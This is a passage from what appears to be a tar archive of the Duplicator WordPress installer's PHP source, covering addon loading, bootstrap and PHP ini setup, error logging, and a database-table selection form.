Duplicator\Installer\Core\Hooks\HooksMng; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Installer\Utils\Log\Log; final class InstAddonsManager { /** * * @var self */ private static $instance = null; /** * * @var InstAbstractAddonCore[] */ private $addons = array(); /** * @var InstAbstractAddonCore[] */ private $enabledAddons = array(); /** * * @return self */ public static function getInstance() { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * inizialize addons */ private function __construct() { $this->addons = self::getAddonListFromFolder(); } /** * inizialize all abaiblae addons * * @return void */ public function inizializeAddons() { foreach ($this->addons as $addon) { if ($addon->canEnable() && $addon->hasDependencies()) { $this->addonsEnabled[] = $addon->getSlug(); $addon->init(); Log::info('ADDON ' . $addon->getAddonFile() . ' ENABLED', Log::LV_DETAILED); } else { Log::info('CAN\'T ENABLE ADDON ' . $addon->getSlug()); } } HooksMng::getInstance()->doAction('duplicator_addons_loaded'); } /** * * @return InstAbstractAddonCore[] */ public function getAvaiableAddons() { $result = array(); foreach ($this->addons as $addon) { $result[] = $addon->getSlug(); } return $result; } /** * * @return InstAbstractAddonCore[] */ public function getEnabledAddons() { return $this->enabledAddons; } /** * return addons folder * * @return string */ public static function getAddonsPath() { return DUPX_INIT . '/addons'; } /** * * @return InstAbstractAddonCore[] */ private static function getAddonListFromFolder() { $addonList = array(); $checkDir = SnapIO::trailingslashit(self::getAddonsPath()); if (!is_dir($checkDir)) { return array(); } if (($dh = opendir($checkDir)) == false) { return array(); } while (($elem = readdir($dh)) !== false) { if ($elem === '.' || $elem === '..') { continue; } $fullPath = $checkDir . $elem; $addonMainFile = false; if (!is_dir($fullPath)) { continue; } if (($addonDh = opendir($fullPath)) == false) { continue; } while (($addonElem = readdir($addonDh)) !== false) { if ($addonElem === '.' || $addonElem === '..') { continue; } $info = pathinfo($fullPath . '/' . $addonElem); if (strcasecmp($elem, $info['filename']) === 0) { $addonMainFile = $checkDir . $elem . '/' . $addonElem; $addonMainClass = 'Duplicator\\Installer\\Addons\\' . $info['filename'] . '\\' . $info['filename']; break; } } if (empty($addonMainFile)) { continue; } try { if (!is_subclass_of($addonMainClass, 'Duplicator\\Installer\\Core\\Addons\\InstAbstractAddonCore')) { continue; } } catch (\Exception $e) { Log::info('Addon file ' . $addonMainFile . ' exists but not countain addon main core class, Exception: ' . $e->getMessage()); continue; } catch (\Error $e) { Log::info('Addon file ' . $addonMainFile . ' exists but generate an error, Exception: ' . $e->getMessage()); continue; } $addonObj = $addonMainClass::getInstance(); $addonList[$addonObj->getSlug()] = $addonObj; } closedir($dh); return $addonList; } } Addons/InstAbstractAddonCore.php 0000644 00000015707 15136236437 0012671 0 ustar 00 <?php /** * Class that collects the functions of initial checks on the requirements to run the plugin * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Addons; abstract class InstAbstractAddonCore { const ADDON_DATA_CONTEXT = 'duplicator_addon'; /** * Addons instances * * @var [self] */ private static $instances = array(); /** * Current addon data * * @var array */ protected $addonData = array(); /** * Get curent addon instance * * @return self */ public static function getInstance() { $class = get_called_class(); if (!isset(self::$instances[$class])) { self::$instances[$class] = new static(); } return self::$instances[$class]; } /** * Constructor */ protected function __construct() { $reflect = new \ReflectionClass(get_called_class()); $this->addonData = self::getInitAddonData($reflect->getShortName()); } /** * Function called on addon init only if is avaiable * * @return void */ abstract public function init(); /** * Get main addon file path * * @return string */ public static function getAddonFile() { // To prevent the warning about static abstract functions that appears in PHP 5.4/5.6 I use this trick. throw new \Exception('this function have to overwritte on child class'); } /** * Get main addon folder * * @return string */ public static function getAddonPath() { // To prevent the warning about static abstract functions that appears in PHP 5.4/5.6 I use this trick. throw new \Exception('this function have to overwritte on child class'); } /** * Get slug of current addon * * @return string */ public function getSlug() { return $this->addonData['slug']; } /** * True if current addon is avaiable * * @return boolean */ public function canEnable() { if (version_compare(PHP_VERSION, $this->addonData['requiresPHP'], '<')) { return false; } if (version_compare(DUPX_VERSION, $this->addonData['requiresDuplcator'], '<')) { return false; } return true; } /** * True if addon has dependencies * * @return boolean */ public function hasDependencies() { $avaliableAddons = InstAddonsManager::getInstance()->getAvaiableAddons(); return !array_diff($this->addonData['requiresAddons'], $avaliableAddons); } /** * Get addon data from header addon file * * @param string $class addon class * * @return array */ protected static function getInitAddonData($class) { $data = self::getFileFata(static::getAddonFile(), self::getDefaltHeaders()); $getDefaultVal = self::getDefaultHeadersValues(); foreach ($data as $key => $val) { if (strlen($val) === 0) { $data[$key] = $getDefaultVal[$key]; } } if (!is_array($data['requiresAddons'])) { $data['requiresAddons'] = explode(',', $data['requiresAddons']); } $data['requiresAddons'] = array_map('trim', $data['requiresAddons']); $data['slug'] = $class; if (strlen($data['name']) === 0) { $data['name'] = $data['slug']; } return $data; } /** * Retur default addon date headers * * @return array */ protected static function getDefaultHeadersValues() { static $defaultHeaders = null; if (is_null($defaultHeaders)) { $defaultHeaders = array( 'name' => '', 'addonURI' => '', 'version' => '0', 'description' => '', 'author' => '', 'authorURI' => '', 'requiresWP' => '4.0', 'requiresPHP' => '5.3', 'requiresDuplcator' => '4.0.2', 'requiresAddons' => array() ); } return $defaultHeaders; } /** * Return headers list keys * * @return array */ protected static function getDefaltHeaders() { return array( 'name' => 'Name', 'addonURI' => 'Addon URI', 'version' => 'Version', 'description' => 'Description', 'author' => 'Author', 'authorURI' => 'Author URI', 'requiresWP' => 'Requires WordPress min version', 'requiresPHP' => 'Requires PHP', 'requiresDuplcator' => 'Requires Duplicator min version', 'requiresAddons' => 'Requires addons' ); } /** * Retrieve metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * from wordpress get_file_data function * * @param string $file Absolute path to the file. * @param array $defaultHeaders List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * * @return array Array of file headers in `HeaderKey => Header Value` format. */ protected static function getFileFata($file, $defaultHeaders) { // We don't need to write to the file, so just open for reading. $fp = fopen($file, 'r'); // Pull only the first 8 KB of the file in. $file_data = fread($fp, 8 * KB_IN_BYTES); // PHP will close file handle, but we are good citizens. fclose($fp); // Make sure we catch CR-only line endings. $file_data = str_replace("\r", "\n", $file_data); $all_headers = $defaultHeaders; foreach ($all_headers as $field => $regex) { if (preg_match('/^[ \t\/*#@]*' . preg_quote($regex, '/') . ':(.*)$/mi', $file_data, $match) && $match[1]) { $all_headers[$field] = self::cleanupHeaderComment($match[1]); } else { $all_headers[$field] = ''; } } return $all_headers; } /** * Strip close comment and close php tags from file headers used by WP. * * From wordpress _cleanup_header_comment * * @param string $str Header comment to clean up. * * @return string */ protected static function cleanupHeaderComment($str) { return trim(preg_replace('/\s*(?:\*\/|\?>).*/', '', $str)); } } Bootstrap.php 0000644 00000047627 15136236437 0007264 0 ustar 00 <?php /** * Interface that collects the functions of initial duplicator Bootstrap * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Installer\Utils\Log\LogHandler; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Libs\Snap\SnapURL; use Duplicator\Libs\Snap\SnapUtil; use Duplicator\Installer\Core\Addons\InstAddonsManager; class Bootstrap { const ARCHIVE_PREFIX = 'dup-archive__'; const ARCHIVE_EXTENSION = '.txt'; const MINIMUM_PHP_VERSION = '5.3.8'; /** * this variable becomes false after the installer is initialized by skipping the shutdown function defined in the boot class * * @var bool */ private static $shutdownFunctionEnaled = true; /** * * @var int */ public static $dupInitFolderParentLevel = 1; /** * Init installer * * @param integer $folderParentLevel num folder parents of home path * * @return void */ public static function init($folderParentLevel = 1) { self::setHTTPHeaders(); self::$dupInitFolderParentLevel = max(1, (int) $folderParentLevel); self::phpVersionCheck(); $GLOBALS['DUPX_ENFORCE_PHP_INI'] = false; // INIT ERROR LOG FILE (called before evrithing) if (function_exists('register_shutdown_function')) { register_shutdown_function(array(__CLASS__, 'bootShutdown')); } if (self::initPhpErrorLog(false) === false) { // Enable this only for debugging. Generate a log too alarmist. error_log('DUPLICATOR CAN\'T CHANGE THE PATH OF PHP ERROR LOG FILE', E_USER_NOTICE); } /* * INIZIALIZE */ define('DUPX_INIT_URL', SnapURL::getCurrentUrl(false, false, self::$dupInitFolderParentLevel)); define('DUPX_ROOT_URL', SnapURL::getCurrentUrl(false, false, self::$dupInitFolderParentLevel + 1)); // includes main files self::includes(); // set time for logging time Log::resetTime(); // set all PHP.INI settings self::phpIni(); // init log files self::initLogs(); // init global values \DUPX_Constants::init(); // init addond before evrithing InstAddonsManager::getInstance()->inizializeAddons(); // init templates self::templatesInit(); // SECURITY CHECK \DUPX_Security::getInstance()->check(); // init error handler after constant LogHandler::initErrorHandler(); // init params PrmMng::getInstance()->initParams(); // read params from request and init global value self::initInstallerFiles(); // check custom hosts \DUPX_Custom_Host_Manager::getInstance()->init(); $pathInfo = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : ''; Log::info("\n\n" . "==============================================\n" . "= BOOT INIT OK [" . $pathInfo . "]\n" . "==============================================\n", Log::LV_DETAILED); if (Log::isLevel(Log::LV_DEBUG)) { Log::info('-------------------'); Log::info('PARAMS'); Log::info(PrmMng::getInstance()->getParamsToText()); Log::info('-------------------'); } \DUPX_DB_Tables::getInstance(); } /** * Init ini_set and default constants * * @return void */ public static function phpIni() { /* Absolute path to the Installer directory. - necessary for php protection */ if (!defined('KB_IN_BYTES')) { define('KB_IN_BYTES', 1024); } if (!defined('MB_IN_BYTES')) { define('MB_IN_BYTES', 1024 * KB_IN_BYTES); } if (!defined('GB_IN_BYTES')) { define('GB_IN_BYTES', 1024 * MB_IN_BYTES); } if (!defined('DUPLICATOR_PHP_MAX_MEMORY')) { define('DUPLICATOR_PHP_MAX_MEMORY', 4096 * MB_IN_BYTES); } date_default_timezone_set('UTC'); // Some machines don’t have this set so just do it here. @ignore_user_abort(true); @set_time_limit(3600); $defaultCharset = ini_get("default_charset"); if (empty($defaultCharset) && SnapUtil::isIniValChangeable('default_charset')) { @ini_set("default_charset", 'utf-8'); } if (SnapUtil::isIniValChangeable('memory_limit')) { @ini_set('memory_limit', DUPLICATOR_PHP_MAX_MEMORY); } if (SnapUtil::isIniValChangeable('max_input_time')) { @ini_set('max_input_time', '-1'); } if (SnapUtil::isIniValChangeable('pcre.backtrack_limit')) { @ini_set('pcre.backtrack_limit', PHP_INT_MAX); } //PHP INI SETUP: all time in seconds if (!isset($GLOBALS['DUPX_ENFORCE_PHP_INI']) || !$GLOBALS['DUPX_ENFORCE_PHP_INI']) { if (SnapUtil::isIniValChangeable('mysql.connect_timeout')) { @ini_set('mysql.connect_timeout', '5000'); } if (SnapUtil::isIniValChangeable('max_execution_time')) { @ini_set("max_execution_time", '5000'); } if (SnapUtil::isIniValChangeable('max_input_time')) { @ini_set("max_input_time", '5000'); } if (SnapUtil::isIniValChangeable('default_socket_timeout')) { @ini_set('default_socket_timeout', '5000'); } @set_time_limit(0); } } /** * Include default utils files and constants * * @return void */ public static function includes() { require_once(DUPX_INIT . '/vendor/requests/library/Requests.php'); \Requests::register_autoloader(); require_once(DUPX_INIT . '/classes/config/class.conf.wp.php'); require_once(DUPX_INIT . '/classes/utilities/class.u.exceptions.php'); require_once(DUPX_INIT . '/classes/utilities/class.u.php'); require_once(DUPX_INIT . '/classes/utilities/class.u.notices.manager.php'); require_once(DUPX_INIT . '/classes/utilities/template/class.u.template.manager.php'); require_once(DUPX_INIT . '/classes/utilities/class.u.orig.files.manager.php'); require_once(DUPX_INIT . '/classes/validation/class.validation.manager.php'); require_once(DUPX_INIT . '/classes/config/class.security.php'); require_once(DUPX_INIT . '/classes/plugins/class.plugins.manager.php'); require_once(DUPX_INIT . '/classes/class.password.php'); require_once(DUPX_INIT . '/classes/database/class.db.php'); require_once(DUPX_INIT . '/classes/database/class.db.functions.php'); require_once(DUPX_INIT . '/classes/database/class.db.tables.php'); require_once(DUPX_INIT . '/classes/database/class.db.table.item.php'); require_once(DUPX_INIT . '/classes/class.http.php'); require_once(DUPX_INIT . '/classes/class.crypt.php'); require_once(DUPX_INIT . '/classes/class.csrf.php'); require_once(DUPX_INIT . '/classes/class.package.php'); require_once(DUPX_INIT . '/classes/class.server.php'); require_once(DUPX_INIT . '/classes/rest/class.rest.php'); require_once(DUPX_INIT . '/classes/rest/class.rest.auth.php'); require_once(DUPX_INIT . '/classes/config/class.archive.config.php'); require_once(DUPX_INIT . '/classes/config/class.constants.php'); require_once(DUPX_INIT . '/classes/config/class.conf.utils.php'); require_once(DUPX_INIT . '/classes/class.installer.state.php'); require_once(DUPX_INIT . '/ctrls/classes/class.ctrl.ajax.php'); require_once(DUPX_INIT . '/ctrls/classes/class.ctrl.params.php'); require_once(DUPX_INIT . '/ctrls/ctrl.base.php'); require_once(DUPX_INIT . '/ctrls/classes/class.ctrl.extraction.php'); require_once(DUPX_INIT . '/ctrls/classes/class.ctrl.dbinstall.php'); require_once(DUPX_INIT . '/ctrls/classes/class.ctrl.s3.funcs.php'); require_once(DUPX_INIT . '/classes/view-helpers/class.u.html.php'); require_once(DUPX_INIT . '/classes/view-helpers/class.view.php'); require_once(DUPX_INIT . '/classes/host/class.custom.host.manager.php'); require_once(DUPX_INIT . '/classes/config/class.conf.srv.php'); require_once(DUPX_INIT . '/classes/class.engine.php'); } /** * This function moves the error_log.php into the dup-installer directory. * It is called before including any other file so it uses only native PHP functions. * * !!! Don't use any Duplicator function within this function. !!! * * @param bool $reset if true reset log file * * @return boolean */ public static function initPhpErrorLog($reset = false) { if (!function_exists('ini_set')) { return false; } $logFile = DUPX_INIT . '/php_error__' . self::getPackageHash() . '.log'; if (file_exists($logFile)) { if (!is_writable($logFile)) { return false; } elseif ($reset && function_exists('unlink')) { @unlink($logFile); } } if (function_exists('error_reporting')) { error_reporting(E_ALL | E_STRICT); // E_STRICT for PHP 5.3 } @ini_set("log_errors", 1); if (@ini_set("error_log", $logFile) === false) { return false; } if (!file_exists($logFile)) { error_log("PHP ERROR LOG INIT"); } return true; } /** * It is called before including any other file so it uses only native PHP functions. * * !!! Don't use any Duplicator function within this function. !!! * * @return bool|string package hash or false if fail */ public static function getPackageHash() { static $packageHash = null; if (is_null($packageHash)) { $searchStr = DUPX_INIT . '/' . self::ARCHIVE_PREFIX . '*' . self::ARCHIVE_EXTENSION; $config_files = glob($searchStr); if (empty($config_files)) { $packageHash = false; } else { $config_file_absolute_path = array_pop($config_files); $config_file_name = basename($config_file_absolute_path, self::ARCHIVE_EXTENSION); $packageHash = substr($config_file_name, strlen(self::ARCHIVE_PREFIX)); } } return $packageHash; } /** * This function init all params before read from request * * @return void */ protected static function initParamsBase() { // GET PARAMS FROM REQUEST \DUPX_Ctrl_Params::setParamsBase(); // set log level from params Log::setLogLevel(); Log::setPostProcessCallback(array('DUPX_CTRL', 'renderPostProcessings')); Log::setAfterFatalErrorCallback(function () { if (\DUPX_InstallerState::getInstance()->getMode() === \DUPX_InstallerState::MODE_OVR_INSTALL) { \DUPX_U::maintenanceMode(false); } }); $paramsManager = PrmMng::getInstance(); $GLOBALS['DUPX_DEBUG'] = $paramsManager->getValue(PrmMng::PARAM_DEBUG); } /** * Makes sure no caching mechanism is used during install * * @return void */ protected static function setHTTPHeaders() { header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); } /** * Init log header * * @return void */ protected static function initLogs() { if (!chdir(DUPX_INIT)) { // RSR TODO: Can't change directories throw new \Exception("Can't change to directory " . DUPX_INIT); } //Restart log if user starts from step 0 if (self::isInit()) { self::initPhpErrorLog(true); Log::clearLog(); Log::info("********************************************************************************"); Log::info('* DUPLICATOR LITE: Install-Log'); Log::info('* STEP-0 START @ ' . @date('h:i:s')); Log::info('* NOTICE: Do NOT post to public sites or forums!!'); Log::info("********************************************************************************"); } } /** * Init all installer files * * @return void */ protected static function initInstallerFiles() { if (!chdir(DUPX_INIT)) { // RSR TODO: Can't change directories throw new \Exception("Can't change to directory " . DUPX_INIT); } //Restart log if user starts from step 0 if (self::isInit()) { self::logHeader(); \DUPX_NOTICE_MANAGER::getInstance()->resetNotices(); // LOAD PARAMS AFTER LOG RESET $paramManager = PrmMng::getInstance(); $paramManager->load(true); \DUPX_Orig_File_Manager::getInstance()->init(false); try { \DUPX_Orig_File_Manager::getInstance()->restoreAll(array( \DUPX_ServerConfig::CONFIG_ORIG_FILE_USERINI_ID, \DUPX_ServerConfig::CONFIG_ORIG_FILE_PHPINI_ID, \DUPX_ServerConfig::CONFIG_ORIG_FILE_WEBCONFIG_ID, \DUPX_ServerConfig::CONFIG_ORIG_FILE_HTACCESS_ID, \DUPX_ServerConfig::CONFIG_ORIG_FILE_WPCONFIG_ID )); } catch (\Exception $e) { Log::logException($e, 'CANT RESTORE CONFIG FILES FORM PREVISION INSTALLATION'); \DUPX_NOTICE_MANAGER::getInstance()->addNextStepNotice(array( 'shortMsg' => 'The installer cannot restore files from a previous installation. ', 'longMsg' => 'This problem does not affect the current installation so you can continue.<br>' . 'This can happen if the root folder does not have write permissions.', 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'level' => \DUPX_NOTICE_ITEM::NOTICE )); } self::initParamsBase(); \DUP_Extraction::resetData(); \DUPX_DBInstall::resetData(); \DUPX_S3_Funcs::resetData(); // update state only if isn't set by param overwrite \DUPX_InstallerState::getInstance()->checkState(true, false); // On init remove maintenance mode \DUPX_U::maintenanceMode(false); } else { // INIT PARAMS $paramManager = PrmMng::getInstance(); $paramManager->load(); \DUPX_Orig_File_Manager::getInstance()->init(false); self::initParamsBase(); } $paramManager->save(); } /** * Write log header * * @return void */ protected static function logHeader() { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $colSize = 60; $labelPadSize = 20; $os = defined('PHP_OS') ? PHP_OS : 'unknown'; $log = ''; $log .= str_pad( str_pad('PACKAGE INFO', $labelPadSize, '_', STR_PAD_RIGHT) . ' ' . 'ORIGINAL SERVER', $colSize, ' ', STR_PAD_RIGHT ) . '|' . 'CURRENT SERVER' . "\n"; $log .= str_pad( str_pad('OS', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . $archiveConfig->version_os, $colSize, ' ', STR_PAD_RIGHT ) . '|' . $os . "\n"; $log .= str_pad( str_pad('PHP VERSION', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . $archiveConfig->version_php, $colSize, ' ', STR_PAD_RIGHT ) . '|' . phpversion() . "\n"; $log .= "********************************************************************************"; Log::info($log, Log::LV_DEFAULT); Log::info("CURRENT SERVER INFO"); Log::info(str_pad('PHP', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . phpversion() . ' | SAPI: ' . php_sapi_name()); Log::info(str_pad('PHP MEMORY', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . $GLOBALS['PHP_MEMORY_LIMIT'] . ' | SUHOSIN: ' . $GLOBALS['PHP_SUHOSIN_ON']); Log::info(str_pad('ARCHITECTURE', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . SnapUtil::getArchitectureString()); Log::info(str_pad('SERVER', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . $_SERVER['SERVER_SOFTWARE']); Log::info(str_pad('DOC ROOT', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . Log::v2str(DUPX_ROOT)); Log::info(str_pad('REQUEST URL', $labelPadSize, '_', STR_PAD_RIGHT) . ': ' . Log::v2str(DUPX_ROOT_URL)); Log::info("********************************************************************************"); } /** * return true if is the first installer call from installer.php * * @return bool */ public static function isInit() { // don't use param manager because isn't initialized $isFirstStep = isset($_REQUEST[PrmMng::PARAM_CTRL_ACTION]) && $_REQUEST[PrmMng::PARAM_CTRL_ACTION] === "ctrl-step1"; $isInitialized = isset($_REQUEST[PrmMng::PARAM_STEP_ACTION]) && !empty($_REQUEST[PrmMng::PARAM_STEP_ACTION]); return $isFirstStep && !$isInitialized; } /** * This function disables the shutdown function defined in the boot class * * @return void */ public static function disableBootShutdownFunction() { self::$shutdownFunctionEnaled = false; } /** * This function sets the shutdown function before the installer is initialized. * Prevents blank pages. * * After the plugin is initialized it will be set as a shudwon function LogHandler::shutdown * * !!! Don't use any Duplicator function within this function. !!! * * @return void */ public static function bootShutdown() { if (!self::$shutdownFunctionEnaled) { return; } if (($error = error_get_last())) { ?> <h1>BOOT SHUTDOWN FATAL ERROR</H1> <pre><?php echo 'Error: ' . htmlspecialchars($error['message']) . "\n\n\n" . 'Type: ' . htmlspecialchars($error['type']) . "\n" . 'File: ' . htmlspecialchars($error['file']) . "\n" . 'Line: ' . htmlspecialchars($error['line']) . "\n"; ?></pre> <?php } } /** * this function is called before anything else. do not use duplicator functions because nothing is included at this level. * * @return boolean */ public static function phpVersionCheck() { if (version_compare(PHP_VERSION, self::MINIMUM_PHP_VERSION, '>=')) { return true; } $match = null; if (preg_match("#^\d+(\.\d+)*#", PHP_VERSION, $match)) { $phpVersion = $match[0]; } else { $phpVersion = PHP_VERSION; } // no html echo 'This server is running PHP: ' . $phpVersion . '. A minimum of PHP ' . self::MINIMUM_PHP_VERSION . ' is required to run the installer.' . ' Contact your hosting provider or server administrator and let them know you would like to upgrade your PHP version.'; die(); } /** * Init templates * * @return void */ protected static function templatesInit() { $tpl = \DUPX_Template::getInstance(); $tpl->addTemplate(\DUPX_Template::TEMPLATE_BASE, DUPX_INIT . '/templates/base', \DUPX_Template::TEMPLATE_ADVANCED); $tpl->addTemplate(\DUPX_Template::TEMPLATE_IMPORT_ADVANCED, DUPX_INIT . '/templates/import-advanced', \DUPX_Template::TEMPLATE_ADVANCED); $tpl->addTemplate(\DUPX_Template::TEMPLATE_IMPORT_BASE, DUPX_INIT . '/templates/import-base', \DUPX_Template::TEMPLATE_IMPORT_ADVANCED); $tpl->setTemplate(\DUPX_Template::TEMPLATE_ADVANCED); } } Params/Items/ParamFormTables.php 0000644 00000027206 15136236437 0012621 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapUtil; /** * this class handles the entire block selection block. */ class ParamFormTables extends ParamForm { const TYPE_ARRAY_TABLES = 'arraytbl'; const FORM_TYPE_TABLES_SELECT = 'tablessel'; const TABLE_ITEM_POSTFIX = '_item'; const TABLE_NAME_POSTFIX_TNAME = '_tname'; const TABLE_NAME_POSTFIX_EXTRACT = '_extract'; const TABLE_NAME_POSTFIX_REPLACE = '_replace'; /** * Class constructor * * @param string $name param identifier * @param string $type TYPE_STRING | TYPE_ARRAY_STRING | ... * @param string $formType FORM_TYPE_HIDDEN | FORM_TYPE_TEXT | ... * @param array $attr list of attributes * @param array $formAttr list of form attributes */ public function __construct($name, $type, $formType, $attr = null, $formAttr = array()) { if ($type != self::TYPE_ARRAY_TABLES) { throw new \Exception('the type must be ' . self::TYPE_ARRAY_TABLES); } if ($formType != self::FORM_TYPE_TABLES_SELECT) { throw new \Exception('the form type must be ' . self::FORM_TYPE_TABLES_SELECT); } parent::__construct($name, $type, $formType, $attr, $formAttr); } /** * Render HTML * * @return void */ protected function htmlItem() { if ($this->formType == self::FORM_TYPE_TABLES_SELECT) { $this->tablesSelectHtml(); } else { parent::htmlItem(); } } /** * Render tables selector HTML * * @return void */ protected function tablesSelectHtml() { $tables = \DUPX_DB_Tables::getInstance(); $value = $this->getInputValue(); ?> <table id="plugins_list_table_selector" class="list_table_selector list-import-upt-tables"> <thead> <tr> <td class="name"></td> <td class="info toggle-all"> Toggle All </td> <td class="action"> <span title="Check all Extract" class="checkbox-switch"> <input class="select-all-import" checked type="checkbox" > <span class="slider"></span> </span> </td> <td class="action"> <span title="Check all Replace" class="checkbox-switch"> <input class="select-all-replace" checked type="checkbox"> <span class="slider"></span> </span> </td> </tr> <tr> <th class="name">Original Name</th> <th class="info">New Name</th> <th class="action">Import</th> <th class="action">Update</th> </tr> </thead> <tbody> <?php $index = 0; foreach ($value as $name => $tableVals) { $this->tableHtmlItem($tableVals, $tables->getTableObjByName($name), $index); $index++; } ?> </tbody> <tfoot> <tr> <th class="name">Original Name</th> <th class="info">New Name</th> <th class="action">Import</th> <th class="action">Update</th> </tr> </tfoot> </table> <?php } /** * Renter tables items selector * * @param array $vals form values * @param \DUPX_DB_Table_item $tableOjb table object * @param integer $index infex of current item * * @return void */ protected function tableHtmlItem($vals, \DUPX_DB_Table_item $tableOjb, $index) { $itemClasses = array( 'table-item', $this->getFormItemId() . self::TABLE_ITEM_POSTFIX ); $hiddenNameAttrs = array( 'id' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_TNAME . '_' . $index, 'type' => 'hidden', 'name' => $this->getName() . '[]', 'class' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_TNAME, 'value' => $tableOjb->getOriginalName() ); $extractCheckboxAttrs = array( 'id' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_EXTRACT . '_' . $index, 'name' => $this->getName() . self::TABLE_NAME_POSTFIX_EXTRACT . '[]', 'class' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_EXTRACT, 'value' => 1 ); $replaceCheckboxAttrs = array( 'id' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_REPLACE . '_' . $index, 'name' => $this->getName() . self::TABLE_NAME_POSTFIX_REPLACE . '[]', 'class' => $this->getFormItemId() . self::TABLE_NAME_POSTFIX_REPLACE, 'value' => 1 ); if ($tableOjb->canBeExctracted()) { if ($vals['extract']) { $extractCheckboxAttrs['checked'] = ''; } if ($vals['replace']) { $replaceCheckboxAttrs['checked'] = ''; } } else { $itemClasses[] = 'no-display'; $extractCheckboxAttrs['disabled'] = ''; $replaceCheckboxAttrs['disabled'] = ''; } if ($this->isDisabled() || $this->isReadonly()) { $extractCheckboxAttrs['disabled'] = ''; $replaceCheckboxAttrs['disabled'] = ''; $skipSendValue = true; } else { $skipSendValue = false; } ?> <tr class="<?php echo implode(' ', $itemClasses); ?>" > <td class="name" > <span class="table-name" ><?php echo \DUPX_U::esc_html($tableOjb->getOriginalName()); ?></span><br> Rows: <b><?php echo $tableOjb->getRows(); ?></b> Size: <b><?php echo $tableOjb->getSize(true); ?></b> </td> <td class="info" > <span class="table-name" ><b><?php echo \DUPX_U::esc_html($tableOjb->getNewName()); ?></b></span><br> </td> <td class="action extract" > <?php if (!$skipSendValue) { // if is disabled or readonly don't senta tables nme so params isn't updated ?> <input <?php echo \DUPX_U_Html::arrayAttrToHtml($hiddenNameAttrs); ?> > <?php } \DUPX_U_Html::checkboxSwitch( $extractCheckboxAttrs, array( 'title' => 'Extract in database' ) ); ?> </td> <td class="action replace" > <?php \DUPX_U_Html::checkboxSwitch( $replaceCheckboxAttrs, array( 'title' => 'Apply replace engine at URLs and paths in database' ) ); ?> </td> </tr> <?php } /** * Check if value is valid * * @param mixed $value value * @param mixed $validateValue variable passed by reference. Updated to validated value in the case, the value is a valid value. * * @return bool true if is a valid value for this object */ public function isValid($value, &$validateValue = null) { $validateValue = (array) $value; $avaiableTables = \DUPX_DB_Tables::getInstance()->getTablesNames(); $validateTables = array_keys($validateValue); // all tables in list have to exist in avaiable tables foreach ($validateValue as $table => $tableValues) { if (!in_array($table, $avaiableTables)) { Log::info('INVALID ' . $table . ' ISN\'T IN AVAIBLE LIST: ' . Log::v2str($avaiableTables)); return false; } } // all tables abaliable have to exists in list foreach ($avaiableTables as $avaibleTable) { if (!in_array($avaibleTable, $validateTables)) { Log::info('AVAIABLE ' . $avaibleTable . ' ISN\'T IN PARAM LIST TABLE'); return false; } } return true; } /** * Appli filter to value input * * @param array $superObject query string values * * @return array */ public function getValueFilter($superObject) { $result = array(); if (($tables = json_decode($superObject[$this->getName()])) == false) { throw new \Exception('Invalid json string'); } foreach ($tables as $table) { $table = (array) $table; if ($table['extract'] == false) { // replace can't be true if extract if false $table['replace'] = false; } $result[$table['name']] = $table; } return $result; } /** * Return sanitized value * * @param mixed $value value input * * @return array */ public function getSanitizeValue($value) { $newValues = (array) $value; $sanitizeValues = array(); foreach ($newValues as $key => $newValue) { $sanitizedKey = SnapUtil::sanitizeNSCharsNewlineTrim($key); $newValue = (array) $newValue; $sanitizedNewValue = self::getParamItemValueFromData(); $sanitizedNewValue['name'] = isset($newValue['name']) ? SnapUtil::sanitizeNSCharsNewlineTrim($newValue['name']) : ''; $sanitizedNewValue['extract'] = isset($newValue['extract']) ? filter_var($newValue['extract'], FILTER_VALIDATE_BOOLEAN) : false; $sanitizedNewValue['replace'] = isset($newValue['replace']) ? filter_var($newValue['replace'], FILTER_VALIDATE_BOOLEAN) : false; $sanitizeValues[$sanitizedKey] = $sanitizedNewValue; } return $sanitizeValues; } /** * Get default type attributes * * @param string $type param type * * @return array */ protected static function getDefaultAttrForType($type) { $attrs = parent::getDefaultAttrForType($type); if ($type == self::TYPE_ARRAY_TABLES) { $attrs['default'] = array(); } return $attrs; } /** * Get default form attributes * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = parent::getDefaultAttrForFormType($formType); if ($formType == self::FORM_TYPE_TABLES_SELECT) { $attrs['wrapperContainerTag'] = 'div'; $attrs['inputContainerTag'] = 'div'; } return $attrs; } /** * Return param item from data * * @param string $name table name * @param bool $extract extract * @param bool $replace replace * * @return array */ public static function getParamItemValueFromData($name = '', $extract = false, $replace = false) { return array( 'name' => $name, 'extract' => $extract, 'replace' => $replace ); } } Params/Items/ParamFormPass.php 0000644 00000004113 15136236437 